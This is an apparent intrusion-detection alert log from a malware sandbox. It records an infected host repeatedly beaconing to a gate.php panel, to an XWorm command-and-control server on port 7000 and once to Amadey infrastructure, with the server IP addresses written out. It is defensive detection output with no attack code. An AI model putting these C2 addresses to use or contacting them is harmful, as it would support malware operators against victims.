2024-12-14T14:59:15.304015+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50308	185.81.68.147	80	TCP
2024-12-14T14:59:17.056804+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50309	185.81.68.147	80	TCP
2024-12-14T14:59:17.056804+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50309	185.81.68.147	80	TCP
2024-12-14T14:59:17.056804+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50309	185.81.68.147	80	TCP
2024-12-14T14:59:18.503526+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T14:59:18.503526+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T14:59:18.930677+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50311	185.81.68.147	80	TCP
2024-12-14T14:59:18.930677+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50311	185.81.68.147	80	TCP
2024-12-14T14:59:18.930677+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50311	185.81.68.147	80	TCP
2024-12-14T14:59:20.844631+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50312	185.81.68.147	80	TCP
2024-12-14T14:59:20.844631+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50312	185.81.68.147	80	TCP
2024-12-14T14:59:20.844631+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50312	185.81.68.147	80	TCP
2024-12-14T14:59:22.761240+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50314	185.81.68.147	80	TCP
2024-12-14T14:59:22.761240+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50314	185.81.68.147	80	TCP
2024-12-14T14:59:22.761240+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50314	185.81.68.147	80	TCP
2024-12-14T14:59:24.219894+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T14:59:24.219894+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T14:59:24.651444+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50316	185.81.68.147	80	TCP
2024-12-14T14:59:24.651444+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50316	185.81.68.147	80	TCP
2024-12-14T14:59:24.651444+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50316	185.81.68.147	80	TCP
2024-12-14T14:59:26.524647+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50317	185.81.68.147	80	TCP
2024-12-14T14:59:26.524647+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50317	185.81.68.147	80	TCP
2024-12-14T14:59:26.524647+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50317	185.81.68.147	80	TCP
2024-12-14T14:59:28.448356+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50319	185.81.68.147	80	TCP
2024-12-14T14:59:28.448356+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50319	185.81.68.147	80	TCP
2024-12-14T14:59:28.448356+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50319	185.81.68.147	80	TCP
2024-12-14T14:59:30.241195+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50320	185.81.68.147	80	TCP
2024-12-14T14:59:30.241195+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50320	185.81.68.147	80	TCP
2024-12-14T14:59:30.241195+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50320	185.81.68.147	80	TCP
2024-12-14T14:59:32.104392+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50322	185.81.68.147	80	TCP
2024-12-14T14:59:32.104392+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50322	185.81.68.147	80	TCP
2024-12-14T14:59:32.104392+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50322	185.81.68.147	80	TCP
2024-12-14T14:59:34.020461+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50324	185.81.68.147	80	TCP
2024-12-14T14:59:34.020461+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50324	185.81.68.147	80	TCP
2024-12-14T14:59:34.020461+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50324	185.81.68.147	80	TCP
2024-12-14T14:59:35.742958+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50325	185.81.68.147	80	TCP
2024-12-14T14:59:35.742958+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50325	185.81.68.147	80	TCP
2024-12-14T14:59:35.742958+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50325	185.81.68.147	80	TCP
2024-12-14T14:59:37.727953+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50327	185.81.68.147	80	TCP
2024-12-14T14:59:37.727953+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50327	185.81.68.147	80	TCP
2024-12-14T14:59:37.727953+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50327	185.81.68.147	80	TCP
2024-12-14T14:59:39.620654+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50328	185.81.68.147	80	TCP
2024-12-14T14:59:39.620654+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50328	185.81.68.147	80	TCP
2024-12-14T14:59:39.620654+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50328	185.81.68.147	80	TCP
2024-12-14T14:59:41.514153+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50330	185.81.68.147	80	TCP
2024-12-14T14:59:41.514153+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50330	185.81.68.147	80	TCP
2024-12-14T14:59:41.514153+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50330	185.81.68.147	80	TCP
2024-12-14T14:59:43.227347+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50332	185.81.68.147	80	TCP
2024-12-14T14:59:43.227347+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50332	185.81.68.147	80	TCP
2024-12-14T14:59:43.227347+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50332	185.81.68.147	80	TCP
2024-12-14T14:59:45.180278+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50334	185.81.68.147	80	TCP
2024-12-14T14:59:45.180278+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50334	185.81.68.147	80	TCP
2024-12-14T14:59:45.180278+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50334	185.81.68.147	80	TCP
2024-12-14T14:59:47.437067+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50337	185.81.68.147	80	TCP
2024-12-14T14:59:47.437067+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50337	185.81.68.147	80	TCP
2024-12-14T14:59:47.437067+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50337	185.81.68.147	80	TCP
2024-12-14T14:59:48.876249+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T14:59:48.876249+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T14:59:49.311842+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50338	185.81.68.147	80	TCP
2024-12-14T14:59:49.311842+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50338	185.81.68.147	80	TCP
2024-12-14T14:59:49.311842+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50338	185.81.68.147	80	TCP
2024-12-14T14:59:51.105414+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50340	185.81.68.147	80	TCP
2024-12-14T14:59:51.105414+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50340	185.81.68.147	80	TCP
2024-12-14T14:59:51.105414+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50340	185.81.68.147	80	TCP
2024-12-14T14:59:52.858532+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50342	185.81.68.147	80	TCP
2024-12-14T14:59:52.858532+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50342	185.81.68.147	80	TCP
2024-12-14T14:59:52.858532+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50342	185.81.68.147	80	TCP
2024-12-14T14:59:54.239553+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T14:59:54.239553+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T14:59:54.772395+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50343	185.81.68.147	80	TCP
2024-12-14T14:59:54.772395+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50343	185.81.68.147	80	TCP
2024-12-14T14:59:54.772395+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50343	185.81.68.147	80	TCP
2024-12-14T14:59:56.686685+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50346	185.81.68.147	80	TCP
2024-12-14T14:59:56.686685+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50346	185.81.68.147	80	TCP
2024-12-14T14:59:56.686685+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50346	185.81.68.147	80	TCP
2024-12-14T14:59:58.680588+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50347	185.81.68.147	80	TCP
2024-12-14T14:59:58.680588+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50347	185.81.68.147	80	TCP
2024-12-14T14:59:58.680588+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50347	185.81.68.147	80	TCP
2024-12-14T15:00:00.597939+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50349	185.81.68.147	80	TCP
2024-12-14T15:00:00.597939+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50349	185.81.68.147	80	TCP
2024-12-14T15:00:00.597939+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50349	185.81.68.147	80	TCP
2024-12-14T15:00:02.469940+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50351	185.81.68.147	80	TCP
2024-12-14T15:00:02.469940+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50351	185.81.68.147	80	TCP
2024-12-14T15:00:02.469940+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50351	185.81.68.147	80	TCP
2024-12-14T15:00:04.373460+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50352	185.81.68.147	80	TCP
2024-12-14T15:00:04.373460+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50352	185.81.68.147	80	TCP
2024-12-14T15:00:04.373460+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50352	185.81.68.147	80	TCP
2024-12-14T15:00:06.276615+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50354	185.81.68.147	80	TCP
2024-12-14T15:00:06.276615+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50354	185.81.68.147	80	TCP
2024-12-14T15:00:06.276615+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50354	185.81.68.147	80	TCP
2024-12-14T15:00:08.270640+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50355	185.81.68.147	80	TCP
2024-12-14T15:00:08.270640+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50355	185.81.68.147	80	TCP
2024-12-14T15:00:08.270640+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50355	185.81.68.147	80	TCP
2024-12-14T15:00:10.204519+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50358	185.81.68.147	80	TCP
2024-12-14T15:00:10.204519+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50358	185.81.68.147	80	TCP
2024-12-14T15:00:10.204519+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50358	185.81.68.147	80	TCP
2024-12-14T15:00:12.077859+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50360	185.81.68.147	80	TCP
2024-12-14T15:00:12.077859+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50360	185.81.68.147	80	TCP
2024-12-14T15:00:12.077859+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50360	185.81.68.147	80	TCP
2024-12-14T15:00:13.971251+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50361	185.81.68.147	80	TCP
2024-12-14T15:00:13.971251+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50361	185.81.68.147	80	TCP
2024-12-14T15:00:13.971251+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50361	185.81.68.147	80	TCP
2024-12-14T15:00:15.844673+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50366	185.81.68.147	80	TCP
2024-12-14T15:00:15.844673+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50366	185.81.68.147	80	TCP
2024-12-14T15:00:15.844673+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50366	185.81.68.147	80	TCP
2024-12-14T15:00:17.839368+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50368	185.81.68.147	80	TCP
2024-12-14T15:00:17.839368+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50368	185.81.68.147	80	TCP
2024-12-14T15:00:17.839368+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50368	185.81.68.147	80	TCP
2024-12-14T15:00:18.488352+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T15:00:18.488352+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T15:00:19.798920+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50369	185.81.68.147	80	TCP
2024-12-14T15:00:19.798920+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50369	185.81.68.147	80	TCP
2024-12-14T15:00:19.798920+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50369	185.81.68.147	80	TCP
2024-12-14T15:00:21.586582+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50371	185.81.68.147	80	TCP
2024-12-14T15:00:21.586582+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50371	185.81.68.147	80	TCP
2024-12-14T15:00:21.586582+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50371	185.81.68.147	80	TCP
2024-12-14T15:00:23.318835+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50372	185.81.68.147	80	TCP
2024-12-14T15:00:23.318835+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50372	185.81.68.147	80	TCP
2024-12-14T15:00:23.318835+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50372	185.81.68.147	80	TCP
2024-12-14T15:00:24.277173+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T15:00:24.277173+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T15:00:25.272721+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50374	185.81.68.147	80	TCP
2024-12-14T15:00:25.272721+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50374	185.81.68.147	80	TCP
2024-12-14T15:00:25.272721+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50374	185.81.68.147	80	TCP
2024-12-14T15:00:27.206578+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50376	185.81.68.147	80	TCP
2024-12-14T15:00:27.206578+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50376	185.81.68.147	80	TCP
2024-12-14T15:00:27.206578+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50376	185.81.68.147	80	TCP
2024-12-14T15:00:29.018242+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50377	185.81.68.147	80	TCP
2024-12-14T15:00:29.018242+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50377	185.81.68.147	80	TCP
2024-12-14T15:00:29.018242+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50377	185.81.68.147	80	TCP
2024-12-14T15:00:30.963844+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50379	185.81.68.147	80	TCP
2024-12-14T15:00:30.963844+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50379	185.81.68.147	80	TCP
2024-12-14T15:00:30.963844+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50379	185.81.68.147	80	TCP
2024-12-14T15:00:33.069424+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50380	185.81.68.147	80	TCP
2024-12-14T15:00:33.069424+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50380	185.81.68.147	80	TCP
2024-12-14T15:00:33.069424+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50380	185.81.68.147	80	TCP
2024-12-14T15:00:34.982292+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50382	185.81.68.147	80	TCP
2024-12-14T15:00:34.982292+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50382	185.81.68.147	80	TCP
2024-12-14T15:00:34.982292+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50382	185.81.68.147	80	TCP
2024-12-14T15:00:36.917063+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50385	185.81.68.147	80	TCP
2024-12-14T15:00:36.917063+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50385	185.81.68.147	80	TCP
2024-12-14T15:00:36.917063+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50385	185.81.68.147	80	TCP
2024-12-14T15:00:38.770638+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50386	185.81.68.147	80	TCP
2024-12-14T15:00:38.770638+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50386	185.81.68.147	80	TCP
2024-12-14T15:00:38.770638+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50386	185.81.68.147	80	TCP
2024-12-14T15:00:40.543415+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50388	185.81.68.147	80	TCP
2024-12-14T15:00:40.543415+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50388	185.81.68.147	80	TCP
2024-12-14T15:00:40.543415+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50388	185.81.68.147	80	TCP
2024-12-14T15:00:42.437634+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50389	185.81.68.147	80	TCP
2024-12-14T15:00:42.437634+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50389	185.81.68.147	80	TCP
2024-12-14T15:00:42.437634+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50389	185.81.68.147	80	TCP
2024-12-14T15:00:44.512475+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50391	185.81.68.147	80	TCP
2024-12-14T15:00:44.512475+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50391	185.81.68.147	80	TCP
2024-12-14T15:00:44.512475+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50391	185.81.68.147	80	TCP
2024-12-14T15:00:46.305501+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50393	185.81.68.147	80	TCP
2024-12-14T15:00:46.305501+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50393	185.81.68.147	80	TCP
2024-12-14T15:00:46.305501+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50393	185.81.68.147	80	TCP
2024-12-14T15:00:48.320387+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50396	185.81.68.147	80	TCP
2024-12-14T15:00:48.320387+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50396	185.81.68.147	80	TCP
2024-12-14T15:00:48.320387+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50396	185.81.68.147	80	TCP
2024-12-14T15:00:48.470974+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T15:00:48.470974+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	107.189.17.186	7000	192.168.2.5	50165	TCP
2024-12-14T15:00:50.214509+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50398	185.81.68.147	80	TCP
2024-12-14T15:00:50.214509+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50398	185.81.68.147	80	TCP
2024-12-14T15:00:50.214509+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50398	185.81.68.147	80	TCP
2024-12-14T15:00:50.557113+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.5	50395	185.81.68.148	80	TCP
2024-12-14T15:00:51.968758+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50399	185.81.68.147	80	TCP
2024-12-14T15:00:51.968758+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50399	185.81.68.147	80	TCP
2024-12-14T15:00:51.968758+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50399	185.81.68.147	80	TCP
2024-12-14T15:00:53.861831+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50401	185.81.68.147	80	TCP
2024-12-14T15:00:53.861831+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50401	185.81.68.147	80	TCP
2024-12-14T15:00:53.861831+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50401	185.81.68.147	80	TCP
2024-12-14T15:00:54.287485+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T15:00:54.287485+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T15:00:55.936325+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50403	185.81.68.147	80	TCP
2024-12-14T15:00:55.936325+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50403	185.81.68.147	80	TCP
2024-12-14T15:00:55.936325+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50403	185.81.68.147	80	TCP
2024-12-14T15:00:57.748640+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50404	185.81.68.147	80	TCP
2024-12-14T15:00:57.748640+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50404	185.81.68.147	80	TCP
2024-12-14T15:00:57.748640+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50404	185.81.68.147	80	TCP
2024-12-14T15:00:59.641994+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50406	185.81.68.147	80	TCP
2024-12-14T15:00:59.641994+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50406	185.81.68.147	80	TCP
2024-12-14T15:00:59.641994+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50406	185.81.68.147	80	TCP
2024-12-14T15:01:01.635905+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50408	185.81.68.147	80	TCP
2024-12-14T15:01:01.635905+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50408	185.81.68.147	80	TCP
2024-12-14T15:01:01.635905+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50408	185.81.68.147	80	TCP
2024-12-14T15:01:03.589922+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50410	185.81.68.147	80	TCP
2024-12-14T15:01:03.589922+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50410	185.81.68.147	80	TCP
2024-12-14T15:01:03.589922+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50410	185.81.68.147	80	TCP
2024-12-14T15:01:05.813818+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50412	185.81.68.147	80	TCP
2024-12-14T15:01:05.813818+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50412	185.81.68.147	80	TCP
2024-12-14T15:01:05.813818+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50412	185.81.68.147	80	TCP
